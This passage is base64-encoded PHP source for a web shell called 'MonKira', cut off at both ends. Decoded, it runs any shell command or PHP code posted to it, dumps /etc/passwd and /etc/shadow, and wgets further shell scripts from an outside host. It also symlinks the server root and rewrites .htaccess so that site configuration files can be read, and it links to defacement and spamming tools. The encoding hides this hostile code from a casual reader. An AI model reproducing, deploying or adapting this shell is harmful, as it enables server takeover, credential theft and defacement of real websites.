lciI+CgkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgb25zdWJtaXQ9ImlmKHRoaXMudXNybmFtZS52YWx1ZT09XCdcJyl7cmV0dXJuIGZhbHNlO30iPgoJCQk8aW5wdXQgZGlyPSJsdHIiIG5hbWU9InVzcm5hbWUiIHZhbHVlPSJNb25LaXJhIiB0eXBlPSJ0ZXh0IiAgc2l6ZT0iMzAiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwnVXNlck5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSIvPjxicj4KCQkJPGlucHV0IGRpcj0ibHRyIiBuYW1lPSJwYXNzd3JkIiB2YWx1ZT0iMDE2NTczNzA0NiIgdHlwZT0icGFzc3dvcmQiIHNpemU9IjMwIiBvbmZvY3VzPSJpZiAodGhpcy52YWx1ZSA9PSBcJ1Bhc3NXb3JkXCcpIHRoaXMudmFsdWUgPSBcJ1wnOyIgLz48YnI+CgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgTW9uS2lyYSAgIiBuYW1lPSJsb2dpbiIgLz4KCQkJPC9mb3JtPjwvcD4nOwoJCQlleGl0OwoJCX0KCX0KfQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyAgICAgICAgICAgICAgIFNvbWUgSW5mbyAgICAgICAgICAgICAgICAjCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwokZGlyID0gZ2V0Y3dkKCk7CiR1bmFtZT0gQHBocF91bmFtZSgpOwppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpCiRvcyA9ICJXaW5kb3dzIjsKZWxzZSAkb3MgPSAiTGludXgiOwokc2VydmVySVAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CiRzZXJ2ZXIgPSBAc3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApOwoKZWNobyAiCjxib2R5IGRpcj1cImx0clwiPjx0YWJsZSBiZ2NvbG9yPSNjY2NjY2MgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPVwiMTAwJVwiPjx0Ym9keT48dHI+PHRkIGJnY29sb3I9IzAwMDAwMCB3aWR0aD0xNjA+CjxwIGRpcj1sdHI+Jm5ic3A7Jm5ic3A7PC9wPgo8ZGl2IGRpcj1sdHIgYWxpZ249Y2VudGVyPjxmb250IHNpemU9ND48Yj4KPGltZyBib3JkZXI9MCBzcmM9aHR0cDovL3dhYy43NzI1LmVkZ2VjYXN0Y2RuLm5ldC84MDc3MjUvd2Vic2l0ZS93cC1jb250ZW50L3VwbG9hZHMvMjAxMy8xMi9oYWNrZXIxLmpwZyB3aWR0aD0xMDEgaGVpZ2h0PTkzPiZuYnNwOzwvYj48L2ZvbnQ+PGRpdgpkaXI9bHRyIGFsaWduPWNlbnRlcj48c3BhbiBzdHlsZT1oZWlnaHQ6IDI1cHg7PjxiPgo8Zm9udCBzaXplPTQgY29sb3I9I0ZGMDAwMD5Nb248L2ZvbnQ+PGZvbnQgc2l6ZT00IGNvbG9yPSMwMDgwMDA+S2lyYTwvZm9udD48Zm9udCBzaXplPTQgY29sb3I9Izk5OTk5OT48L2ZvbnQ+PC9iPjxzcGFuIHN0eWxlPWZvbnQtc2l6ZTogMjBwdDsgY29sb3I6IAoKIzk5MDAwMD48cD48L3A+PC9zcGFuPjwvc3Bhbj48L2Rpdj48L3RkPjx0ZApiZ2NvbG9yPSMwMDAwMDA+CjxwIGRpcj1sdHI+PGZvbnQgIHNpemU9MT4mbmJzcDsgPGI+WzxhIGhyZWY9P2lkPW1haW5QYWdlPk1haW48L2E+XTwvYj48L3NwYW4+Cjxmb250IGNvbG9yPWJsYWNrPjwvc3Bhbj48L2ZvbnQ+PGI+Wzwvc3Bhbj48YSBocmVmPT9pZD1zY3JpcHRzSGFjaz5Gb3J1bSBEZWZhY2VyPC9hPl08L2I+PC9zcGFuPgo8Yj5bPC9zcGFuPjxhIGhyZWY9P2lkPXNwYW1taW5nPkVtYWlsIFNwYW1tZXI8L2E+XTwvYj48L3NwYW4+CjxiPls8L3NwYW4+PGEgaHJlZj0/aWQ9YWJvdXQ+QWJvdXQ8L2E+XTwvYj48L3NwYW4+CjxiPls8L3NwYW4+PGEgaHJlZj0/aWQ9bG9nb3V0PkxvZ291dDwvYT5dPC9iPjwvc3Bhbj4KPGI+Wzwvc3Bhbj48YSBocmVmPT9pZD0xMDA+U3VpQ2lkZTwvYT5dPC9iPjwvc3Bhbj4KPGJyPgo8Zm9udCBzaXplPTE+PGJyPgombmJzcDsgICBTYWZlIE1vZGUgPSA8c3k+Ii5AU2FmZU1vZGUoKS4iIDwvc3k+PGZvbnQgc2l6ZT0xPgombmJzcDsgICBTeXN0ZW0gPSA8c3k+Ii4kb3MuIjwvc3k+CiZuYnNwOyAgIE1hZ2ljX1F1b3RlcyA9IDxzeT4iLiBAbWFnaWNRb3V0cygpLiIgPC9zeT4KJm5ic3A7ICAgQ3VybCA9IDxzeT4iLkBDdXJsKCkuIiA8L3N5PgombmJzcDsgICBSZWdpc3RlciBHbG9iYWxzID0gPHN5PiIuQFJlZ2lzdGVyR2xvYmFscygpLiIgPC9zeT4KJm5ic3A7ICAgT3BlbiBCYXNlZGlyID0gPHN5PiIuQG9wZW5CYXNlRGlyKCkuIiA8L3N5Pgo8YnI+CiZuYnNwOyAgIEd6aXAgPSA8c3k+Ii5AR3ppcCgpLiI8L3N5PgombmJzcDsgICBNeVNRTEkgPSA8c3k+Ii5ATXlzcWxJKCkuIiA8L3N5PgombmJzcDsgICBNU1FMID0gPHN5PiIuQE1TUUwoKS4iPC9zeT4KJm5ic3A7ICAgU1FMIExpdGUgPSA8c3k+Ii5AU1FsTGl0ZSgpLiI8L3N5PgombmJzcDsgICBVc2VmdWxsIExvY2FscyA9IDxzeT4iLnJvb3R4cEwoKS4iIDwvc3k+Cjxicj4KJm5ic3A7ICAgRnJlZSBTcGFjZSA9IDxzeT4iLkBIYXJkU2l6ZShkaXNrX2ZyZWVfc3BhY2UoJy8nKSkuIiA8L3N5PgombmJzcDsgICBUb3RhbCBTcGFjZSA9IDxzeT4iLkBIYXJkU2l6ZShkaXNrX3RvdGFsX3NwYWNlKCIvIikpLiIgPC9zeT4KJm5ic3A7ICAgUEhQIFZlcnNpb24gPSA8c3k+Ii5AcGhwdmVyc2lvbigpLiIgPC9zeT4KJm5ic3A7ICAgWmVuZCBWZXJzaW9uID0gPHN5PiIuQHplbmRfdmVyc2lvbigpLiIgPC9zeT4KJm5ic3A7ICAgTXlTUUwgVmVyc2lvbiA9IDxzeT4iLkBteXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIDwvc3k+Cjxicj4KJm5ic3A7ICAgTXlTUUwgPSAiLk15U1FMMigpLiIKJm5ic3A7ICAgTXNTUUwgPSAiLk1zU1FMKCkuIgombmJzcDsgICBQb3N0Z3JlU1FMID0gIi5Qb3N0Z3JlU1FMKCkuIgombmJzcDsgICBPcmFjbGUgPSAiLk9yYWNsZSgpLiIKJm5ic3A7ICAgU2VydmVyIE5hbWUgPSA8c3k+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiA8L3N5PgombmJzcDsgICBTZXJ2ZXIgQWRtaW4gPSA8c3k+Ii4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uIiA8L3N5Pgo8YnI+CiZuYnNwOyAgIERpc19GdW5jdGlvbnMgPSA8c3k+Ii4gRGlzYWJsZUZ1bmN0aW9ucygpLiIgPC9zeT48YnI+CiZuYnNwOyAgIFlvdXIgSVAgPSA8c3k+Ii5HZXRSZWFsSVAoKS4iIDwvc3k+CiZuYnNwOyAgIFNlcnZlciBJUCA9IDxzeT48YSBocmVmPSdodHRwOi8vYmluZy5jb20vc2VhcmNoP3E9aXA6Ii4kc2VydmVySVAuIiZnbz0mZm9ybT1RQkxIJmZpbHQ9YWxsJyB0YXJnZXQ9XCJfYmxhbmtcIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iIAoKPC9zeT48L2E+Cls8L3NwYW4+PGEgaHJlZj1odHRwOi8vd3d3LnlvdWdldHNpZ25hbC5jb20vdG9vbHMvd2ViLXNpdGVzLW9uLXdlYi1zZXJ2ZXIgdGFyZ2V0PVwiX2JsYW5rXCIvPlJldmVyc2UgSVA8L2E+XTwvc3Bhbj4KJm5ic3A7ICAgRGF0ZSBUaW1lID0gPHN5PiIuZGF0ZSgnWS1tLWQgSDppOnMnKS4iIDwvc3k+PGJyLz4KJm5ic3A7ICAgCls8YSBocmVmPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jby51ay8nIHRhcmdldD0nX2JsYW5rJz5NRDUgQ3JhY2tlcjwvYT5dCls8YSBocmVmPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jby51ay9zaGExLWRlY3J5cHQuYXNweCcgdGFyZ2V0PSdfYmxhbmsnPlNIQTEgQ3JhY2tlcjwvYT5dCls8YSBocmVmPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jby51ay9udGxtLWRlY3J5cHQuYXNweCcgdGFyZ2V0PSdfYmxhbmsnPk5UTE0gQ3JhY2tlcjwvYT5dCjxicj4KPGJyPgo8dGFibGUgYmdjb2xvcj0jY2NjY2NjIHdpZHRoPVwiMTAwJVwiPjx0Ym9keT48dHI+Cjx0ZCBhbGlnbj1yaWdodCB3aWR0aD0xMDA+PHAgZGlyPWx0cj4KPHN5PiZuYnNwOyZuYnNwO1NlcnZlciA6Jm5ic3A7Jm5ic3A7IDxicj4KPGI+dW5hbWUgLWEgOiAmbmJzcDsKPGJyPnB3ZCA6IDwvc3Bhbj4mbmJzcDs8YnI+SUQgOiA8L3NwYW4+Jm5ic3A7PGJyPjwvYj48L3N5PjwvdGQ+PHRkPgo8cCBkaXI9bHRyPjxmb250IGNvbG9yPSNjY2NjY2Mgc2l6ZT0tMj48Yj4gJm5ic3A7Jm5ic3A7Ii4kc2VydmVyLiIKPGJyPiZuYnNwOyZuYnNwOyIuJHVuYW1lLiIgPHN5PjxhIGhyZWY9aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPSIudXJsZW5jb2RlKEBwaHBfdW5hbWUoKSkuIiB0YXJnZXQ9X2JsYW5rPltHb29nbGVdPC9hPjwvc3k+PGJyPiZuYnNwOyZuYnNwOyIuCgokZGlyLiI8YnI+Jm5ic3A7Jm5ic3A7Ii5FeGUoJ2lkJykuIjwvYj4KPC9mb250PjwvdGQ+PC90cj48L3Rib2R5Pgo8L3RhYmxlPgombmJzcDsmbmJzcDtbPGEgaHJlZj0nI2Rvd24nPkRvd248L2E+XQogWzxhIGhyZWY9J2phdmFzY3JpcHQ6d2luZG93LnByaW50KCknPlByaW50PC9hPl0KPC90YWJsZT4iOwoKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgICAgICAgICAgICAgICAgTWFpbiBQYWdlICAgICAgICAgICAgICAgIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKaWYgKCRfR0VUWydpZCddPT0gJ21haW5QYWdlJykKewoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz48dGFibGUgd2lkdGg9MTAwJSBib3JkZXI9MT48dHI+PHRkPgoJPHRleHRhcmVhIG5hbWU9J0V4ZWN1dGlvbkFyZWEnIHJvd3M9MTAgY29scz0xNTIgc3R5bGU9J2NvbG9yPXJlZCc+IjsKCglpZighJF9QT1NUIHx8ICRfUE9TVFsnbG9naW4nXSkgLy8gU2hvdyBDdXJyZW50IERpcmVjdG9yeSBDb250ZW50cyBpZiBObyBQb3N0IGluIHJlcXVlc3RpbmcgLi4uIAoJewoJCUBjaGRpcigkX1BPU1RbJ2RpcmVjdG9yeSddKTsKCQlpZigkb3MgPT0gIldpbmRvd3MiKQoJCXsKCQkJZWNobyBFeGUoJ2RpcicpOwoJCX0KCQllbHNlIGlmKCRvcyA9PSAiTGludXgiKQoJCXsKCQkJZWNobyBFeGUoJ2xzJyk7CgkJfQoJfQoJZWxzZSBpZigkX1BPU1RbJ3N1Ym1pdENvbW1hbmRzJ10pIC8vIEV4ZWN1dGUgVGhlIEFsaWFzIENvbW1hbmQgLgoJCXsKCQkJZWNobyBFeGUoJF9QT1NUWydhbGlhcyddKTsKCQl9CgllbHNlIGlmKCRfUE9TVFsnRXhlY3V0ZSddKSAvLyBFeGVjdXRlIFRoZSBDb21tYW5kIEZyb20gQ29tbWFuZCBMaW5lICAuCgkJewoJCQlAY2hkaXIoJF9QT1NUWydkaXJlY3RvcnknXSk7CgkJCWlmKGVtcHR5KCRfUE9TVFsnY21kJ10pKQoJCQl7CgkJCQlpZigkb3MgPT0gIldpbmRvd3MiKQoJCQkJewoJCQkJCWVjaG8gRXhlKCdkaXInKTsKCQkJCX0KCQkJCWVsc2UgaWYoJG9zID09ICJMaW51eCIpCgkJCQl7CgkJCQkJZWNobyBFeGUoJ2xzIC1saWEnKTsKCQkJCX0KCQkJfQoJCQllbHNlCgkJCXsKCQkJCWVjaG8gRXhlKCRfUE9TVFsnY21kJ10pOwoJCQl9CgkJfQoJCWVsc2UgaWYoJF9QT1NUWydzdWJtaXRFdmFsJ10pIC8vIEV4ZWN1dGUgRXZhbCBDb2RlIC4KCQl7CgkJCSRldmFsID0gQHN0cl9yZXBsYWNlKCI8P3BocCIsIiIsJF9QT1NUWydwaHBfZXZhbCddKTsKCQkJJGV2YWwgPSBAc3RyX3JlcGxhY2UoIjw/cGhwIiwiIiwkZXZhbCk7CgkJCSRldmFsID0gQHN0cl9yZXBsYWNlKCI/PiIsIiIsJGV2YWwpOwoJCQkkZXZhbCA9IEBzdHJfcmVwbGFjZSgiXFwiLCIiLCRldmFsKTsKCQkJZWNobyBldmFsKCRldmFsKTsKCQl9CgkJIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCSMgICBIYXNoIEFuYWx5emVyICAgICAgICAKCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJZWxzZSBpZigkX1BPU1RbJ2FuYWx5emllTm93J10pCgkJewoJCQkkaGFzaCA9ICRfUE9TVFsnaGFzaFRvQW5hbHl6ZSddOwoJCQkkc3ViSGFzaCA9IHN1YnN0cigkaGFzaCwwLDMpOwoJCQlpZigkc3ViSGFzaCA9PSckYXAnICYmIHN0cmxlbigkaGFzaCkgPT0gMzcpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogTUQ1KEFQUikgSGFzaCI7CgkJCX0KCQkJZWxzZSBpZigkc3ViSGFzaCA9PSckMSQnICYmIHN0cmxlbigkaGFzaCkgPT0gMzQpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogTUQ1KFVOSVgpIEhhc2giOwoJCQl9CgkJCWVsc2UgaWYoJHN1Ykhhc2ggPT0nJEgkJyAmJiBzdHJsZW4oJGhhc2gpID09IDM1KQoJCQl7CgkJCQllY2hvICJUaGUgSGFzaCA6ICIuJGhhc2guIiBpcyA6IE1ENShwaHBCQjMpIEhhc2giOwoJCQl9CgkJCWVsc2UgaWYoc3RybGVuKCRoYXNoKSA9PSAyOSkKCQkJewoJCQkJZWNobyAiVGhlIEhhc2ggOiAiLiRoYXNoLiIgaXMgOiBNRDUoV29yZHByZXNzKSBIYXNoIjsKCQkJfQoJCQllbHNlIGlmKCRzdWJIYXNoID09JyQ1JCcgJiYgc3RybGVuKCRoYXNoKSA9PSA2NCkKCQkJewoJCQkJZWNobyAiVGhlIEhhc2ggOiAiLiRoYXNoLiIgaXMgOiBTSEEyNTYoVU5JWCkgSGFzaCI7CgkJCX0KCQkJZWxzZSBpZigkc3ViSGFzaCA9PSckNiQnICYmIHN0cmxlbigkaGFzaCkgPT0gMTI4KQoJCQl7CgkJCQllY2hvICJUaGUgSGFzaCA6ICIuJGhhc2guIiBpcyA6IFNIQTUxMihVTklYKSBIYXNoIjsKCQkJfQoJCQllbHNlIGlmKHN0cmxlbigkaGFzaCkgPT0gNTYpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogU0hBMjI0IEhhc2giOwoJCQkJfQoJCQllbHNlIGlmKHN0cmxlbigkaGFzaCkgPT0gNjQpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogU0hBMjU2IEhhc2giOwoJCQkJfQoJCQllbHNlIGlmKHN0cmxlbigkaGFzaCkgPT0gOTYpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogU0hBMzg0IEhhc2giOwoJCQl9CgkJCWVsc2UgaWYoc3RybGVuKCRoYXNoKSA9PSAxMjgpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogU0hBNTEyIEhhc2giOwoJCQl9CgkJCWVsc2UgaWYoc3RybGVuKCRoYXNoKSA9PSA0MCkKCQkJewoJCQkJZWNobyAiVGhlIEhhc2ggOiAiLiRoYXNoLiIgaXMgOiBNeVNRTCB2NS54IEhhc2giOwoJCQl9CgkJCWVsc2UgaWYoc3RybGVuKCRoYXNoKSA9PSAxNikKCQkJewoJCQkJZWNobyAiVGhlIEhhc2ggOiAiLiRoYXNoLiIgaXMgOiBNeVNRTCBIYXNoIjsKCQkJfQoJCQllbHNlIGlmKHN0cmxlbigkaGFzaCkgPT0gMTMpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogREVTKFVuaXgpIEhhc2giOwoJCQl9CgkJCWVsc2UgaWYoc3RybGVuKCRoYXNoKSA9PSAzMikKCQkJewoJCQkJZWNobyAiVGhlIEhhc2ggOiAiLiRoYXNoLiIgaXMgOiBNRDUgSGFzaCI7CgkJCX0KCQkJZWxzZSBpZihzdHJsZW4oJGhhc2gpID09IDQpCgkJCXsKCQkJCWVjaG8gIlRoZSBIYXNoIDogIi4kaGFzaC4iIGlzIDogW0NSQy0xNl0tW0NSQy0xNi1DQ0lUVF0tW0ZDUy0xNl0iO30KCQkJZWxzZSAKCQkJewoJCQkJZWNobyAiRXJyb3IgOiBDYW4ndCBEZXRlY3QgSGFzaCBUeXBlIjsKCQkJfQoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgU2hvdyBVc2VycyAgICAKCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJZWxzZSBpZigkX1BPU1RbJ3Nob3dVc2VycyddKQoJCXsKCQkJZnVuY3Rpb24gc2hvd1VzZXJzKCkKCQkJewoKCQkJCWlmKCRyb3dzID0gRXhlKCdjYXQgL2V0Yy9wYXNzd2QnKSkKCQkJCXsKCQkJCQllY2hvICRyb3dzOwoJCQkJfQoJCQkJZWxzZWlmKCRyb3dzPSBFeGUoJ2NhdCAvZXRjL2RvbWFpbmFsaWFzJykpCgkJCQl7CgkJCQkJZWNobyAkcm93czsKCQkJCX0KCQkJCWVsc2VpZigkcm93cz0gRXhlKCdjYXQgL2V0Yy9zaGFkb3cnKSkgCgkJCQl7CgkJCQkJZWNobyAkcm93czsKCQkJCX0KCQkJCWVsc2VpZigkcm93cz0gRXhlKCdjYXQgL3Zhci9tYWlsJykpIAoJCQkJewoJCQkJCWVjaG8gJHJvd3M7CgkJCQl9CgkJCQllbHNlaWYoJHJvd3M9IEV4ZSgnY2F0IC9ldGMvdmFsaWFzZXMnKSkgCgkJCQl7CgkJCQkJZWNobyAkcm93czsKCQkJCX0KCQkJCWVsc2UgeyBlY2hvICJbLV0gQ2FuJ3QgU2hvdyBVc2VycyA6KCAuLi4gU29ycnkgIjt9CgkJCX0KCQkJc2hvd1VzZXJzKCk7CgkJfQoJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkjICAgR2VuZXJhdGUgcGVybCAgICAgIAoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsnZ2VuZXJhdGVQZWwnXSkKCQl7CgkJCUBjaGRpcigkX1BPU1RbImNnaXBlcmxQYXRoIl0pOwoJCQlAbWtkaXIoImNnaSIsIDA3NTUpOwoJCQlAY2hkaXIoImNnaSIpOwoJCQlFeGUoJ3dnZXQgaHR0cDovL3d3dy5zeXJpYW4tc2hlbGwuY29tL2NnaVBlcmwvY2dpUGVybC5zeTMuemlwJyk7CgkJCUV4ZSgndW56aXAgY2dpUGVybC5zeTMuemlwJyk7CgkJCUB1bmxpbmsoJ2NnaVBlcmwuc3kzLnppcCcpOwoJCQlAY2htb2QoImNnaVBlcmwuc3kzIiwwNzU1KTsKCQkJQGNobW9kKCJjb21waWxlciIsMDc3Nyk7CgkJCSRjZ2lfaCA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3KycpOwoJCQlAZndyaXRlKCRjZ2lfaCwnQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zeTMnKTsKCQkJZWNobyAnCmNnaS5zeTMgJiAuaHRhY2Nlc3MgSGFzIEJlZW4gQ3JlYXRlZCBpbiBbIGNnaSBdICBEaXJlY3RvcnkgClBhc3N3b3JkIElzIDogc3kzNCcgOwoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgIEdlbmVyYXRlIFNlcnZlciAgIAoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsnZ2VuZXJhdGVTRVInXSkKCQl7CgkJCUBjaGRpcigkX1BPU1RbJ1Nob3VydEN1dFBhdGgnXSk7CgkJCUBta2RpcigiYWxsc2VydmVyIiwgMDc1NSk7CgkJCUBjaGRpcigiYWxsc2VydmVyIik7CgkJCUV4ZSgibG4gLXMgLyBhbGxzZXJ2ZXIiKTsKCQkJR2VuZXJhdGVGaWxlKCIuaHRhY2Nlc3MiLCIKCQkJT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCgkJCURpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0KCQkJQWRkVHlwZSB0eHQgLnBocAoJCQlBZGRIYW5kbGVyIHR4dCAucGhwIik7CgkJCWVjaG8gJ05vdyBHbyB0byBhbGxzZXJ2ZXIgZm9sZGVyICcuJF9QT1NUWydTaG91cnRDdXRQYXRoJ10uJycgOwoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgIENoYW5nZSBNb2RlIAoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsnY2hhbmdlUGVybWlzc2lvbiddKQoJCXsKCQkJJGNoX29rID0gQGNobW9kKCRfUE9TVFsnZmlsZU5hbWUnXSwkX1BPU1RbJ3BlciddKTsKCQkJaWYoJGNoX29rKQoJCQllY2hvICJQZXJtaXNzaW9uIENoYW5nZWQgU3VjY2Vzc2Z1bGx5ICEgIiA7CgkJCWVsc2UgZWNobyAiQ2hhbmdpbmcgSXMgTm90IEFsbG93ZWQgT3IgVGhlIEZpbGUgaXMgbm90IEV4aXN0ICEiOwoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgIEdlbmVyYXRlIFVzZXJzCgkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCWVsc2UgaWYoJF9QT1NUWydHZW5lcmF0ZVVzZXJzJ10pCgkJewoJCQlAY2hkaXIoJF9QT1NUWyd1c2Vyc1BhdGgnXSk7CgkJCUBta2RpcigidXNlcnMiLCAwNzU1KTsKCQkJQGNoZGlyKCd1c2VycycpOwoJCQlFeGUoJ3dnZXQgaHR0cDovL3d3dy5zeXJpYW4tc2hlbGwuY29tL3VzZXJzQW5kRG9tYWlucy91c2Vycy5yYXInKTsKCQkJRXhlKCdtdiB1c2Vycy5yYXIgdXNlcnMuc3kzJyk7CgkJCUBjaG1vZCgndXNlcnMuc3kzJywwNzU1ICk7CgkJCSR1c2VyX2ggPSBmb3BlbignLmh0YWNjZXNzJywndysnKTsKCQkJZndyaXRlKCR1c2VyX2gsJ0FkZEhhbmRsZXIgY2dpLXNjcmlwdCAuc3kzJyk7CgkJCWVjaG8gInVzZXJzLnN5MyAmIC5odGFjY2VzcyBIYXMgQmVlbiBDcmVhdGVkIGluIFsgdXNlcnMgXSAgRGlyZWN0b3J5IiA7CgkJfQoJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkjICAgRm9yYmlkZGVuCgkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCWVsc2UgaWYoJF9QT1NUWydnZW5lcmF0ZUZvcmJpZGRlbiddKQoJCXsKCQkJQGNoZGlyKCRfUE9TVFsnZm9yYmlkZGVuUGF0aCddKTsKCQkJQG1rZGlyKCdmb3JiaWRkZW4nKTsKCQkJQGNoZGlyKCdmb3JiaWRkZW4nKTsKCQkJJGh0YWNjZXNzID0gZm9wZW4oJy5odGFjY2VzcycsJ3crJyk7CgkJCWlmKCRfUE9TVFsnNDAzJ10gPT0gJ0RpcmVjdG9yeUluZGV4JykKCQkJewoJCQkJZndyaXRlKCRodGFjY2VzcywiRGlyZWN0b3J5SW5kZXggaW4udHh0Iik7CgkJCX0KCQkJZWxzZWlmKCRfUE9TVFsnNDAzJ10gPT0gJ0hlYWRlck5hbWUnKQoJCQl7CgkJCQlmd3JpdGUoJGh0YWNjZXNzLCJIZWFkZXJOYW1lIGluLnR4dCIpOwoJCQl9CgkJCWVsc2VpZigkX1BPU1RbJzQwMyddID09ICdUWFQnKQoJCQl7CgkJCQlmd3JpdGUoJGh0YWNjZXNzLCIKCQkJCU9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyAKCQkJCWFkZFR5cGUgdHh0IC5waHAgCgkJCQlBZGRIYW5kbGVyIHR4dCAucGhwIik7CgkJCX0KCQkJZWxzZWlmKCRfUE9TVFsnNDAzJ10gPT0gJzQwNCcpCgkJCXsKCQkJCWZ3cml0ZSgkaHRhY2Nlc3MsIgoJCQkJRXJyb3JEb2N1bWVudCA0MDQgLzQwNC5odG1sIAoJCQkJNDA0Lmh0bWwgPSBTeW1saW5rZWQgaW4udHh0ICAiKTsKCQkJfQoJCQllbHNlaWYoJF9QT1NUWyc0MDMnXSA9PSAnUmVhZG1lTmFtZScpCgkJCXsKCQkJCWZ3cml0ZSgkaHRhY2Nlc3MsIlJlYWRtZU5hbWUgaW4udHh0Iik7CgkJCX0KCQkJZWxzZWlmKCRfUE9TVFsnNDAzJ10gPT0gJ2Zvb3Rlck5hbWUnKQoJCQl7CgkJCQlmd3JpdGUoJGh0YWNjZXNzLCJmb290ZXJOYW1lIGluLnR4dCIpOwoJCQl9CgkJCWVjaG8gIgpOb3cgR28gVG8gWyBmb3JiaWRkZW4gXSBEaXIgQW5kIFRoZW4gbWFrZSBUaGUgU2hvcnRjdXQgWyBpbi50eHQgXQpFWCA6IGxuIC1zIC9ob21lL3VzZXIvcHVibGljX2h0bWwvY29uZmlnLnBocCBpbi50eHQiOwoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgIFVwbG9hZCBGaWxlcwoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsnVXBsb2FkTm93J10pCgkJewoJCQkkbmJyX3VwbG9hZGVkID0wOwoJCQkkZmlsZXNfdXBsb2RlZCA9IGFycmF5KCk7CgkJCSRwYXRoPSAnJzsKCQkJJHRhcmdldF9wYXRoPSAkcGF0aCAuIGJhc2VuYW1lKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSk7CgkJCWZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKTsgJGkrKykKCQkJewoJCQkJaWYoJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ11bJGldICE9ICcnKQoJCQkJewoJCQkJCW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ11bJGldLCAkdGFyZ2V0X3BhdGggLiAkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXVskaV0pOwoJCQkJCSRmaWxlc191cGxvZGVkW10gPSAkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXVskaV07CgkJCQkJJG5icl91cGxvYWRlZCsrOwoJCQkJCWVjaG8gIlRoZSBGaWxlICAiLmJhc2VuYW1lKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSkuIiBVcGxvYWRlZCBTdWNjZXNzZnVsbHkgIQoiOwoJCQkJfQoJCQkJZWxzZSAiVGhlIEZpbGUgICIuYmFzZW5hbWUoJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ11bJGldKS4iICBDYW4ndCBCZSBVcGxvYWQgOiggISI7CgkJCX0KCQl9CgkJIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCSMgICBubyBTZWN1cml0eQoJCSMtLS0tLS0tLS0tLS0tLS